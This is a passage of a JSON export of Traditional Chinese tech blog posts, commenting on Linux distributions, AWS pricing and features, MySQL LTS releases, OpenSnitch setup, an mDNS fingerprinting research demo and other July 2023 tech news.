Dirk-Peter started at Suse 3 months ago as CEO and worked for Red Hat for 18 years and was a Senior VP at Red Hat.\r\n\r\nI think this move of Suse could be a credible threat to IBM / Red Hat's RHEL.</blockquote>\r\n\r\n看 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 上的經歷，應該算是純業務出身... 這算是什麼操作？",
    "title": "SUSE 參戰：SUSE 宣佈投入 RHEL clone"
  },
  {
    "id": "11259",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=36729424\">Generate RSS feed for any website using CSS selectors (rss-bridge.org)</a>」這個，裡面的連結是 <a href=\"https://github.com/RSS-Bridge/rss-bridge/blob/master/bridges/CssSelectorBridge.php\">CssSelectorBridge</a>，看起來是剛併進去的：「<a href=\"https://github.com/RSS-Bridge/rss-bridge/pull/3457\">Add CustomBridge #3457</a>」。\r\n\r\n我拿<a href=\"https://tw.nextapple.com/\">蘋果日報</a>為例子，網址設為 <code>https://tw.nextapple.com/</code>，文章的選擇器設為 <code>.stories-container article</code>，文章的內容設為 <code>.post-inner p</code>，產生出來的<a href=\"https://rss-bridge-391.fly.dev/?action=display&amp;bridge=CssSelectorBridge&amp;home_page=https%3A%2F%2Ftw.nextapple.com%2F&amp;url_selector=.stories-container+article&amp;url_pattern=&amp;content_selector=.post-inner+p&amp;content_cleanup=&amp;title_cleanup=&amp;limit=&amp;format=Html\">頁面連結</a>裡面就包括了 <a href=\"https://en.wikipedia.org/wiki/Atom_(web_standard)\">Atom</a> 以及其他種類的 feed。\r\n\r\n對於沒有 feed 的網站可以用這可以工具省下不少功夫，之前寫的 <a href=\"https://github.com/hasname/feedgen\">feedgen</a> 裡面有不少東西可以退役 (不過當初是打算練 <a href=\"https://www.python.org/\">Python</a>，有額外的目的...)",
    "title": "用 RSS Bridge 的 CssSelectorBridge 產生出 feed"
  },
  {
    "id": "11260",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2023/06/20/11232/%e6%ad%90%e7%9b%9f%e8%a6%81%e6%8e%a8%e5%8f%af%e6%9b%bf%e6%8f%9b%e7%9a%84%e6%89%8b%e6%a9%9f%e9%9b%bb%e6%b1%a0/\">歐盟要推可替換的手機電池</a>」這邊提到歐盟要推可替換電池的法案，剛剛看到 Hacker News 上面的討論，在七月通過了：「<a href=\"https://www.androidauthority.com/phones-with-replaceable-batteries-2027-3345155/\">It's official: Smartphones will need to have replaceable batteries by 2027</a>」，歐盟的新聞稿在「<a href=\"https://www.consilium.europa.eu/en/press/press-releases/2023/07/10/council-adopts-new-regulation-on-batteries-and-waste-batteries/\">Council adopts new regulation on batteries and waste batteries</a>」這邊。\r\n\r\n這次法案包括了所有電池：\r\n\r\n<blockquote>The regulation of the European Parliament and the Council will apply to all batteries including all waste portable batteries, electric vehicle batteries, industrial batteries, starting, lightning and ignition (SLI) batteries (used mostly for vehicles and machinery) and batteries for light means of transport (e.g. electric bikes, e-mopeds, e-scooters).</blockquote>\r\n\r\n其中行動裝置的部分在這次看到時間表了，可替換電池的方案看起來會在 2028 強制：\r\n\r\n<blockquote>The regulation provides that by 2027 portable batteries incorporated into appliances should be removable and replaceable by the end-user, leaving sufficient time for operators to adapt the design of their products to this requirement.</blockquote>\r\n\r\n算起來還有四年多的時間，來看看各家改變的速度...",
    "title": "歐盟通過可替換電池的法案"
  },
  {
    "id": "11261",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://podman-desktop.io/\">Podman Desktop</a> 支援 <a href=\"https://docs.docker.com/compose/\">Docker Compose</a> 的消息：「<a href=\"https://news.ycombinator.com/item?id=36723445\">Podman Desktop 1.2 Released: Compose and Kubernetes Support (podman-desktop.io)</a>」，連結的原文是 1.2 版的 release notes：「<a href=\"https://podman-desktop.io/blog/podman-desktop-release-1.2\">Release Notes - Podman Desktop 1.2</a>」。\r\n\r\n原文提到 Compose 而不是直接講 Docker Compose，所以猜測是一個新產品，會不相容 <code>docker compose</code>，但看起來會是相容的東西，最後一句就說可以用 <code>docker-compose</code> 或是 <code>podman-compose</code> 跑：\r\n\r\n<blockquote>In the last month we've been addind support for more Compose features. Before you were only able to control a group of containers if they were in a Pod. Now we have added the ability to control a group of Compose containers. You can now start, stop, delete and restart a group of containers launched by either <code>docker-compose</code> or <code>podman-compose</code>.</blockquote>\r\n\r\n雖然沒什麼在用，但我還是有透過 <a href=\"https://en.wikipedia.org/wiki/Flatpak\">Flatpak</a> 裝 Podman Desktop，需要的時候就不用另外搞。\r\n\r\n剛剛看了一下 Flathub 上面的版本還是 1.1.0 (<a href=\"https://flathub.org/apps/io.podman_desktop.PodmanDesktop\">Podman Desktop | Flathub</a>)，要等他更新...",
    "title": "Podman Desktop 1.2 支援 Docker Compose"
  },
  {
    "id": "11262",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到透過 <a href=\"https://en.wikipedia.org/wiki/Multicast_DNS\">mDNS</a> 建立 fingerprint 的方式，進而定位使用者身分：「<a href=\"https://news.ycombinator.com/item?id=36712788\">Brute-forcing a macOS user’s real name from a browser using mDNS (fingerprint.com)</a>」，原文在「<a href=\"https://fingerprint.com/blog/apple-macos-mdns-brute-force/\">Demo: Brute-forcing a macOS user’s real name from a browser using mDNS</a>」。\r\n\r\n利用發 HTTP(s) request 出去時，雖然都是傳回 Failed to fetch 錯誤，但因為 hostname 存在時會是 connection timeout，而不存在時會直接因為 DNS 查不到而很快 failed 掉，這個時間差異產生了 side channel，可以透過時間差異知道某個 hostname 是否存在。\r\n\r\n這個技巧配合字典就可以大量掃描 <code>*.local</code> 的 mDNS 網段，進而產生出內部網路的 fingerprint。\r\n\r\n這個問題應該是有標準解法 (或是有被提案過的解法)，就是不讓 internet domain 存取 local domain 的東西，像是避免 internet 上的網站透過 <a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a> 碰到 <code>http://127.0.0.1:xxx/</code> 的機制。\r\n\r\n應該是把 <code>*.local</code> 用同樣方式對待就能避開這個問題？",
    "title": "透過 mDNS 建立內部網路的 fingerprint"
  },
  {
    "id": "11263",
    "body": "這是在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=36712788\">Brute-forcing a macOS user’s real name from a browser using mDNS (fingerprint.com)</a>」這篇看到的，裡面一開始是提到 Mac 上面的 <a href=\"https://en.wikipedia.org/wiki/Little_Snitch\">Little Snitch</a>，可以針對特定應用程式設定防火牆規則，而在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上對應的解決方案則是 <a href=\"https://github.com/evilsocket/opensnitch\">OpenSnitch</a>，但一直沒有嘗試，所以就試著用看看...\r\n\r\n套件分成兩個部分，一個是 OpenSnitch 的主程式，另外一個是 GUI 的部分。\r\n\r\n而在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 22.04 上裝有點麻煩，因為 Ubuntu 22.04 上預設的 grpc package 似乎是有 bug，需要裝新版解決。\r\n\r\n不過我在找 <a href=\"https://launchpad.net/ubuntu/+ppas\">PPA</a> 的時候發現有人包了輔助套件：「<a href=\"https://launchpad.net/~savoury1/+archive/ubuntu/opensnitch\">OpenSnitch - application firewall (Xenial &amp; newer)</a>」。\r\n\r\n這個套件本身是沒有包 OpenSnitch 主程式與 GUI 套件的，他只是要「補充」官方套件安裝的問題，所以需要照他的說明安裝：(我把下面指令提到的 1.5.2 換成目前新版的 1.6.0 裝，目前看起來是會動的)\r\n\r\n<pre>sudo add-apt-repository ppa:savoury1/opensnitch\r\nsudo apt-get update && sudo apt-get upgrade\r\nsudo dpkg -i opensnitch_1.5.2-1_amd64.deb\r\nsudo dpkg -i python3-opensnitch-ui_1.5.2-1_all.deb\r\nsudo apt-get -f install</pre>\r\n\r\n這邊用 <a href=\"https://en.wikipedia.org/wiki/Dpkg\">dpkg -i</a> 裝，而不是用 <code>apt install</code> 的原因是故意讓他不裝 dependency，等到後面的 <code>apt-get -f install</code> 時再裝 PPA 裡面提供的 dependency。\r\n\r\n裝好後把跑 <code>opensnitch-gui</code> 起來後就會陸陸續續收到系統內不同的應用程式嘗試的連線，像是官網提供的 screenshot 這樣 (會跳出像左邊這樣的視窗)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1689452124-6f630bae.webp\" /><img src=\"https://i.gslin.com/s/1689452124-6f630bae.png\" alt=\"\" /></picture>\r\n\r\n這樣可以控的比較細，不過剛開始用會需要花時間把系統內常態性的 request 先設定過一次，還蠻煩的 XD",
    "title": "玩了一下 OpenSnitch，Linux 下的 Application Firewall"
  },
  {
    "id": "11264",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=36765747\">Strlcpy and strlcat added to glibc 2.38 (sourceware.org)</a>」這個，印象中極度排斥 <a href=\"https://man.freebsd.org/cgi/man.cgi?query=strlcpy&amp;sektion=3\">strlcpy</a> 與 <a href=\"https://man.freebsd.org/cgi/man.cgi?query=strlcat&amp;sektion=3\">strlcat</a> 的 <a href=\"https://en.wikipedia.org/wiki/Glibc\">glibc</a> 要包進去了。\r\n\r\n主要的原因在原始的 <a href=\"https://sourceware.org/git/?p=glibc.git;a=commit;h=454a20c8756c9c1d55419153255fc7692b3d2199\">commit log</a> 裡面有提到，是因為 <a href=\"https://en.wikipedia.org/wiki/POSIX\">POSIX</a> 標準要放入這兩個 function 了：\r\n\r\n<blockquote>These functions are about to be added to POSIX, under Austin Group issue 986.</blockquote>\r\n\r\n找了一下提到的 <a href=\"https://www.austingroupbugs.net/view.php?id=986\">Austin Group issue 986</a>，最後更新是 2022 年，看起來進度不快，但是就是一直推進？\r\n\r\n反過來看了一下 Hacker News 上的討論，果然有人把當年 <a href=\"https://akkadia.org/drepper/\">Ulrich Drepper</a> 臭 BSD 流派的信件翻出來：「<a href=\"https://sourceware.org/legacy-ml/libc-alpha/2000-08/msg00053.html\">Re: PATCH: safe string copy and concetation</a>」。",
    "title": "strlcpy() 與 strlcat() 被加入 glibc"
  },
  {
    "id": "11265",
    "body": "<a href=\"https://www.intel.com/\">Intel</a> 發新聞稿，說跟 <a href=\"https://www.asus.com/\">ASUS</a> 簽了約，讓 ASUS 接手 <a href=\"https://en.wikipedia.org/wiki/Next_Unit_of_Computing\">Intel NUC</a> 的維護與產品研發了：「<a href=\"https://www.intel.com/content/www/us/en/newsroom/news/intel-nuc-systems-agreement.html\">Intel and ASUS Agree to Term Sheet to Take Intel NUC Systems Product Line Forward</a>」。\r\n\r\n<blockquote>Today, Intel announced it has agreed to a term sheet with ASUS, a global technology solution provider, for an agreement to manufacture, sell and support the Next Unit of Compute (NUC) 10th to 13th generations systems product line, and to develop future NUC systems designs.</blockquote>\r\n\r\n不過 ASUS 這邊網站上還沒看到新聞稿...\r\n\r\n前幾天 Intel 宣佈要停止 Intel NUC 產品線，但當時沒看到接手的消息：「<a href=\"https://www.servethehome.com/intel-exiting-the-pc-business-as-it-stops-investment-in-the-intel-nuc/\">Intel Exiting the PC Business as it Stops Investment in the Intel NUC</a>」。\r\n\r\n有可能是消息出來後 ASUS 才去談的？或是一開始 Intel 就有找 partner 談，但談到一半消息先走漏了，但外面只聽到 Intel 不做？\r\n\r\nAnyway，這樣 ASUS 算是官方指名的繼承人，讓後續要買的人可以過去看看；以 ASUS 本來就有自己的便當盒產品線 (像是 <a href=\"https://24h.pchome.com.tw/\">PChome 24h</a> 上面的「<a href=\"https://24h.pchome.com.tw/store/DSAAFM\">ASUS－特規/改機專區 品牌館</a>」)，就是讓現有的團隊接手一個知名的產品線，不過本來跟精英 &amp; 和碩的代工不知道會出現什麼變化...",
    "title": "華碩接手 Intel NUC 的維護與後續研發"
  },
  {
    "id": "11266",
    "body": "上個禮拜的資訊了 <a href=\"https://almalinux.org/\">AlmaLinux</a> 最後決定放棄 clone <a href=\"https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux\">RHEL</a>：「<a href=\"https://almalinux.org/blog/future-of-almalinux/\">The Future of AlmaLinux is Bright</a>」。\r\n\r\n<blockquote>After much discussion, the AlmaLinux OS Foundation board today has decided to drop the aim to be 1:1 with RHEL. AlmaLinux OS will instead aim to be Application Binary Interface (ABI) compatible*.</blockquote>\r\n\r\n這樣在市場上有 <a href=\"https://rockylinux.org/\">Rocky Linux</a> 與 <a href=\"https://www.suse.com/\">SUSE</a> 也打算要搞自己的 RHEL clone 的前提下，沒有使用 AlmaLinux 的誘因，標題說的 bright 就是講講而已。",
    "title": "AlmaLinux 放棄 1:1 clone RHEL"
  },
  {
    "id": "11267",
    "body": "看到 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 支援 3072 bit <a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> certificate 的消息：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2023/07/amazon-cloudfront-3072-bit-rsa-certificates/\">Amazon CloudFront announces support for 3072-bit RSA certificates</a>」。\r\n\r\n2048 bit 在一般情況算是夠用，畢竟現在的紀錄也才到 829 bit (參考「<a href=\"https://en.wikipedia.org/wiki/RSA_Factoring_Challenge\">RSA Factoring Challenge</a>」)：\r\n\r\n<blockquote>1024-bit RSA keys are equivalent in strength to 80-bit symmetric keys, 2048-bit RSA keys to 112-bit symmetric keys, 3072-bit RSA keys to 128-bit symmetric keys, and 15360-bit RSA keys to 256-bit symmetric keys. In 2003, RSA Security claimed that 1024-bit keys were likely to become crackable some time between 2006 and 2010, while 2048-bit keys are sufficient until 2030. As of 2020 the largest RSA key publicly known to be cracked is RSA-250 with 829 bits.</blockquote>\r\n\r\n但如果哪天突然又有新的演算法出來威脅到 2048 bit 的話，會多一點緩衝的空間？",
    "title": "CloudFront 支援 3072 bit RSA 憑證"
  },
  {
    "id": "11269",
    "body": "看到 <a href=\"https://www.percona.com/\">Percona</a> 寫的「<a href=\"https://www.percona.com/blog/lts-and-innovation-releases-for-percona-server-for-mysql/\">LTS and Innovation Releases for Percona Server for MySQL</a>」這篇，才注意到 <a href=\"https://www.oracle.com/\">Oracle</a> 宣佈了 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 <a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a> 版本：「<a href=\"https://blogs.oracle.com/mysql/post/introducing-mysql-innovation-and-longterm-support-lts-versions\">Introducing MySQL Innovation and Long-Term Support (LTS) versions</a>」。\r\n\r\n這次的改變產生了 Innovation 版本與 LTS 版本：\r\n\r\n<blockquote>We're transitioning to the new MySQL versioning model with our upcoming versions. MySQL database version 8.1.0 will be our first Innovation release, and 8.0.34+ will transition to only bug fixes until 8.0 End-Of-Life (EOL) scheduled for April-2026. Approximately one year from now, MySQL version 8.x will eventually become LTS which will provide ample time for users to migrate from 8.0.x to the 8.x LTS version.</blockquote>\r\n\r\n從這段的解釋看起來是在講從舊的發佈模式到新的發佈模式的轉換期特例，MySQL 8.0.34+ (應該是指 8.0 的後續這條，從 8.0.34 開始) 會支援到 2026 年四月，大約是再兩年半多；而 8.x (應該是指 &gt;8.0 的這條？) 會在距今一年後 (大約是 2024 年年中？) 成為 LTS 版本。\r\n\r\n接著的段落拿了一些範例說明：\r\n\r\n<blockquote>In practice, in this transition period, if you want the latest features, improvements, and all bug fixes for your MySQL databases, use the Innovation release track (eg., 8.1.x, 8.2.x, 8.3.x, etc.). If you need only bug fixes for your MySQL database, use 8.0.x releases (eg., 8.0.35, 8.0.36, 8.0.37, etc.). In both cases, you should plan to update your MySQL databases quarterly accordingly to Oracle Critical Patch Updates (CPU) calendar. When 8.x becomes LTS, you can plan, test, and migrate from the 8.0.x bug fix track to the LTS release track (ex., from 8.0.37 to 8.4.1).</blockquote>\r\n\r\n看起來 8.0 是轉換期的特殊待遇，看起來有點像是 LTS 的 security update only？然後是官方給的這張圖，要注意這張圖下面有提到這張圖只是示意，實際發生的時間點可能會有改變，不過也可以看出來在 8.0 的地位比較特別：\r\n\r\n<blockquote>Note that this is an example, there is no commitment that the version numbering will be exactly as presented.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1690491629-efad54c7.webp\" /><img src=\"https://i.gslin.com/s/1690491629-efad54c7.png\" alt=\"\" /></picture>\r\n\r\n而 LTS 的頻率會是兩年一版，支援 5+3 年，而 8.0 會走四年半：\r\n\r\n<blockquote>About every 2 years, a minor version will be designated as Long Term Supported release. This version will have a 5 year premier and 3 year extended support, the same as the previously supported releases. This is similar to MySQL 5.7 and previous releases. \r\n\r\nThe LTS will also be the last version of the major release. The next (Innovation) release will increase it's major version. For example if MySQL 8.4.0 is the 8.x LTS release, then MySQL 9.0 will be the next Innovation release.</blockquote>\r\n\r\n另外後面有提到他們會確保 LTS 在升級時會用到的方式，看了一下沒有太多意外，跟之前在 5.x 年代的感覺差不多。\r\n\r\n倒是降級這件事情他們也提出方案，這點就蠻值得看一下了... 然後這邊可以看到 async replication 果然超萬用的。\r\n\r\n基本上就是 release cycle 改變的公告，現在這個階段繼續黏在 8.0 上面應該就可以了，後續等第一個 LTS 的消息。",
    "title": "MySQL 改變發佈的方式，推出 LTS 版本"
  },
  {
    "id": "11270",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Werner_Vogels\">Werner Vogels</a> 寫了一篇在回憶 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的文章：「<a href=\"https://www.allthingsdistributed.com/2023/07/building-and-operating-a-pretty-big-storage-system.html\">Building and operating a pretty big storage system called S3</a>」，裡面有個是他這個層級比較容易取得公開權限的資料：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1690502413-59861a55.webp\" /><img src=\"https://i.gslin.com/s/1690502413-59861a55.png\" alt=\"\" /></picture>\r\n\r\n有標注「S3 by the numbers (as of publishing this post).」，所以是 2023 年七月現在的數字。\r\n\r\n雖然很明顯的還是避開談總大小，但有提供目前的 S3 object 數量是 280 兆，以及 request 量是每秒 1 億次。\r\n\r\n搭配之前公開過的數字 (出自維基百科上的「<a href=\"https://en.wikipedia.org/wiki/Amazon_S3\">Amazon S3</a>」條目)，上次公佈是在 2021 年三月的時候宣布超過 100 兆，所以過了兩年的時間已經到 280 兆了：\r\n\r\n<blockquote>Amazon Web Services introduced Amazon S3 in 2006. Amazon reported it stored more than 100 trillion objects as of March 2021, up from 10 billion objects in October 2007, 14 billion objects in January 2008, 29 billion objects in October 2008, 52 billion objects in March 2009, 64 billion objects in August 2009, 102 billion objects in March 2010, and 2 trillion objects in April 2013.</blockquote>",
    "title": "Amazon S3 的新數字"
  },
  {
    "id": "11271",
    "body": "在「<a href=\"https://torrentfreak.com/sci-hubs-alexandra-elbakyan-receives-eff-award-for-providing-access-to-scientific-knowledge-230728/\">Sci-Hub’s Alexandra Elbakyan Receives EFF Award for Providing Access to Scientific Knowledge</a>」這邊看到 <a href=\"https://www.eff.org/\">EFF</a> 把今年的 <a href=\"https://en.wikipedia.org/wiki/EFF_Pioneer_Award\">EFF Awards</a> 頒給了 <a href=\"https://en.wikipedia.org/wiki/Sci-Hub\">Sci-Hub</a> 的創辦人 <a href=\"https://en.wikipedia.org/wiki/Alexandra_Elbakyan\">Alexandra Elbakyan</a>。而 EFF 原始的公告在「<a href=\"https://www.eff.org/press/releases/electronic-frontier-foundation-present-annual-eff-awards-alexandra-asanovna-elbakyan\">Electronic Frontier Foundation to Present Annual EFF Awards to Alexandra Asanovna Elbakyan, Library Freedom Project, and Signal Foundation</a>」這邊。\r\n\r\n維基百科對 Sci-Hub 的介紹在開頭說的頗清楚，Alexandra Elbakyan 選擇無視 copyright，提供論文免費下載：\r\n\r\n<blockquote>Sci-Hub is a shadow library website that provides free access to millions of research papers, without regard to copyright, by bypassing publishers' paywalls in various ways.</blockquote>\r\n\r\n而 EFF 肯定這樣的行為促進了科學知識的傳遞：\r\n\r\n<blockquote>Kazakhstani computer programmer Alexandra Asanovna Elbakyan founded Sci-Hub in 2011 to provide free and unrestricted access to all scientific knowledge.</blockquote>\r\n\r\n很像是 EFF 會幹的事情沒錯 XDDD",
    "title": "今年的 EFF Awards 頒給了 Sci-Hub 的創辦人 Alexandra Elbakyan"
  },
  {
    "id": "11273",
    "body": "看到 <a href=\"https://en.wikipedia.org/wiki/Tails_(operating_system)\">Tails</a> 換了一個新的網域名稱，從本來的 <a href=\"https://tails.boum.org/\">tails.boum.org</a> 換到了 <a href=\"https://tails.net/\">tails.net</a> 上：「<a href=\"https://tails.net/news/new_domain/index.en.html\">Welcome to tails.net!</a>」。\r\n\r\n看了 <code>tails.net</code> 的 <a href=\"https://en.wikipedia.org/wiki/WHOIS\">WHOIS</a> 可以發現這也是個老域名了，甚至比 Tails 軟體出現的 2009 年還早：\r\n\r\n<pre>Updated Date: 2022-08-09T10:30:42\r\nCreation Date: 2002-12-18T11:36:37\r\nRegistrar Registration Expiration Date: 2024-12-18T11:36:37</pre>\r\n\r\n理所當然的，本來的 <code>tails.boum.org</code> 也還會動，目前是重導到 <code>tails.net</code> 上面。\r\n\r\n然後研究了一下 <code>boum.org</code> 是什麼，用「<code>site:boum.org -site:tails.boum.org</code>」翻了一下各家搜尋引擎：「<a href=\"https://kagi.com/search?q=site%3Aboum.org+-site%3Atails.boum.org&amp;r=tw&amp;sh=Na92pfVUGUF-sqQYsk74aQ\">Kagi 的</a>」、「<a href=\"https://duckduckgo.com/?q=site%3Aboum.org+-site%3Atails.boum.org\">DuckDuckGo 的</a>」、「<a href=\"https://www.google.com/search?q=site%3Aboum.org+-site%3Atails.boum.org\">Google 的</a>」。\r\n\r\n其實還不少東西？看起來像是某個業餘團體或是組織...\r\n\r\n另外如果是用 <code>site:tails.boum.org</code> 找，可以發現除了主站以外，下面其實還不少 subdomain，像是 <a href=\"https://gitlab.tails.boum.org/\">gitlab.tails.boum.org</a> 這樣的網域，所以應該是還有不少東西要改...",
    "title": "Tails 換網域名稱，從 tails.boum.org 換到 tails.net"
  },
  {
    "id": "11274",
    "body": "一個蠻大的改變，<a href=\"https://aws.amazon.com/\">AWS</a> 宣布所有的 <a href=\"https://en.wikipedia.org/wiki/Internet_Protocol_version_4\">IPv4</a> address 將在明年二月開始收費：「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-public-ipv4-address-charge-public-ip-insights/\">New – AWS Public IPv4 Address Charge + Public IP Insights</a>」。\r\n\r\n這包括了有掛在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上面的 IPv4 address：\r\n\r\n<blockquote>We are introducing a new charge for public IPv4 addresses. Effective February 1, 2024 there will be a charge of $0.005 per IP per hour for all public IPv4 addresses, whether attached to a service or not (there is already a charge for public IPv4 addresses you allocate in your account but don’t attach to an EC2 instance).</blockquote>\r\n\r\n費用算是相當貴，$0.005/hr 已經比 <code>t4g.nano</code> 在 <code>us-east-1</code> 的 $0.0042/hr 還貴了。\r\n\r\n另外一個有趣的點是 <a href=\"http://jeff-barr.com/\">Jeff Barr</a> 會自己貼到 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上？在「<a href=\"https://news.ycombinator.com/item?id=36910855\">AWS Public IPv4 Address Charge and Public IP Insights (amazon.com)</a>」這邊可以看到。\r\n\r\n回到原來的主題，改跑 IPv6 only 會有兩個方向的流量要解決，一個是從機器連出來的部分，另外一個是從外面連到機器的部分。\r\n\r\n對於比較大的服務，連出來的部分是可以靠 <a href=\"https://en.wikipedia.org/wiki/NAT64\">NAT64</a> 類的方式處理掉 (但如果用 AWS 服務的話也很貴，參考 AWS 的 <a href=\"https://docs.aws.amazon.com/vpc/latest/userguide/nat-gateway-nat64-dns64.html\">DNS64 and NAT64</a>)，或是透過 socks5 proxy 與 http proxy 解決。\r\n\r\n而比較小的單機 (像是當 VPS 用的 EC2 instance) 似乎就沒有太好的解法了。\r\n\r\n另外從外面連到機器的部分，如果只有 HTTP(S) protocol 還可以加減透過 CDN 解 (像是 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 或是 AWS 本家的 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a>)，但 <a href=\"https://en.wikipedia.org/wiki/Secure_Shell\">SSH</a> 類的服務就稍微麻煩了，台灣要弄到便宜的固定 IPv6 address 有點麻煩，<a href=\"https://www.hinet.net/\">HiNet</a> 的企業固定制是有對應的方案：「<a href=\"https://fttb.hinet.net/static_ipv6.html\">HiNet固定制IPv6服務說明</a>」，但最低的 16M/3M 也要 $1292/mo (大約是 US$41/mo)，可能要找有提供固定 IPv6 的 VPS？\r\n\r\n雖然是個很靠悲的事情，但這也讓雲端架構裡面朝 IPv6 的動力多了點...",
    "title": "AWS 將開始收取 IPv4 的 Public IP 費用"
  },
  {
    "id": "11275",
    "body": "<a href=\"https://www.google.com/\">Google</a> 宣佈從八月開始將不再更新 <a href=\"https://en.wikipedia.org/wiki/Android_KitKat\">Android 4.4</a> (KitKat，KK) 的 <a href=\"https://en.wikipedia.org/wiki/Google_Play\">Google Play</a> 服務：「<a href=\"https://android-developers.googleblog.com/2023/07/google-play-services-discontinuing-updates-for-kitkat.html\">Google Play services discontinuing updates for KitKat (API levels 19 &amp; 20) starting August 2023</a>」。\r\n\r\n<blockquote>Therefore, we are no longer supporting KK in future releases of Google Play services. KK devices will not receive versions of the Play Services APK beyond 23.30.99.</blockquote>\r\n\r\n可以看到講的是 client 端的 apk 停止更新，服務應該還是可以用一陣子，直到 Google Play 有改動，讓舊版的 client 無法用。\r\n\r\nAndroid 4.4 也是個經典的版本，當初在用 <a href=\"https://en.wikipedia.org/wiki/LG_G2\">LG G2</a> 的時候是 4.2，用了一陣子有 4.4，最後一版是 5.0，再新的版本就得刷機用第三方了。",
    "title": "Google Play 將終止對 Android 4.4 的更新"
  },
  {
    "id": "11276",
    "body": "在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2023/08/amazon-sqs-increased-throughput-quota-fifo-high-throughput-mode/\">Amazon SQS announces increased throughput quota for FIFO High Throughput mode</a>」這邊看到 <a href=\"https://aws.amazon.com/\">AWS</a> 提高了 <a href=\"https://aws.amazon.com/sqs/\">Amazon SQS</a> 中 FIFO throughput 的限制，這本來是個常常有的公告，但讓我意外的是不同區域拉高的數量是不同的：\r\n\r\n<blockquote>Amazon Simple Queue Service (SQS) announces an increased quota for a high throughput mode for FIFO queues, allowing you to process up to 9,000 transactions per second, per API action in US East (Ohio), US East (N. Virginia), US West (Oregon), Europe (Ireland), Europe (Frankfurt) regions. For Asia Pacific (Mumbai), Asia Pacific (Singapore), Asia Pacific (Sydney), and Asia Pacific (Tokyo) regions, the throughput quota has been increased to 4,500 transactions per second, per API action. For all other regions where SQS is generally available today, the quota for high throughput mode quota has been increased to 2,400 transactions per second.</blockquote>\r\n\r\n第一梯隊的 (像是 <code>us-east-1</code>、<code>us-west-2</code> 與 <code>eu-west-1</code>) 都是 9000 tps，而第二梯隊是 4500 tps，沒列在上面的區域是 2400 tps。\r\n\r\n另外一個比較特別的是 Frankfurt 區居然在第一梯隊...",
    "title": "Amazon SQS 提高 FIFO throughput 限制"
  },
  {
    "id": "11277",
    "body": "<a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a> 公告了 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出了新的 <a href=\"https://www.intel.com/\">Intel</a> CPU 產品線：「<a href=\"https://aws.amazon.com/blogs/aws/new-seventh-generation-general-purpose-amazon-ec2-instances-m7i-flex-and-m7i/\">New Seventh-Generation General Purpose Amazon EC2 Instances (M7i-Flex and M7i)</a>」。\r\n\r\n先講 <code>m7i</code>，這個比較好理解，就是 Intel 新的 CPU，然後很隱晦的只宣稱了「比其他雲端廠商的 Intel CPU 快 15%」：\r\n\r\n<blockquote>Today we are launching Amazon Elastic Compute Cloud (Amazon EC2) M7i-Flex and M7i instances powered by custom 4th generation Intel Xeon Scalable processors available only on AWS, that offer the best performance among comparable Intel processors in the cloud – up to 15% faster than Intel processors utilized by other cloud providers.</blockquote>\r\n\r\n而與前一代的 Intel 機種相比 (應該是 <code>m6i</code>？) 則是高了 15% 的 CP 值：\r\n\r\n<blockquote>The M7i instances are available in nine sizes (with two size of bare metal instances in the works), and offer 15% better price/performance than the previous generation of Intel-powered instances.</blockquote>\r\n\r\n另外這次最有趣 (但未必好用) 的是推出了 <code>m7i-flex</code>，宣稱再「很多情境下」比 <code>m6i</code> 的 CP 值高了 19%：\r\n\r\n<blockquote>M7i-Flex instances are available in the five most common sizes, and are designed to give you up to 19% better price/performance than M6i instances for many workloads.</blockquote>\r\n\r\n這邊有提到 <code>m7i-flex</code> 是把 <code>m7i</code> 砍了 5% 價錢：\r\n\r\n<blockquote>The M7i-Flex instances are a lower-cost variant of the M7i instances, with 5% better price/performance and 5% lower prices. They are great for applications that don’t fully utilize all compute resources. The M7i-Flex instances deliver a baseline of 40% CPU performance, and can scale up to full CPU performance 95% of the time.</blockquote>\r\n\r\n但在「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/general-purpose-instances.html\">General purpose instances</a>」這邊比較清楚，但可以跑超過 40% CPU 的時間限制在 24 小時內的 95%：\r\n\r\n<blockquote>For times when workloads need more performance, M7i-flex instances provide the ability to exceed baseline CPU and deliver up to 100 percent CPU for 95 percent of the time over a 24-hour window.</blockquote>\r\n\r\n這個設計頗微妙的，旁邊 <a href=\"https://www.arm.com/\">ARM</a>-based 的 <code>t4g</code> 就先不提了，至少不是 drop-in replacement...\r\n\r\n看 <code>m7i.large</code> (2 vCPU + 8GB RAM) 在 <code>us-east-1</code> 的價錢是 $0.1008/hr，你可以完全沒有阻礙的用他 100% 的 CPU。\r\n\r\n而 <code>m7i-flex.large</code> 是 $0.09576/hr，剛好省 5%，代價是有 5% 的時間必須壓在 40% 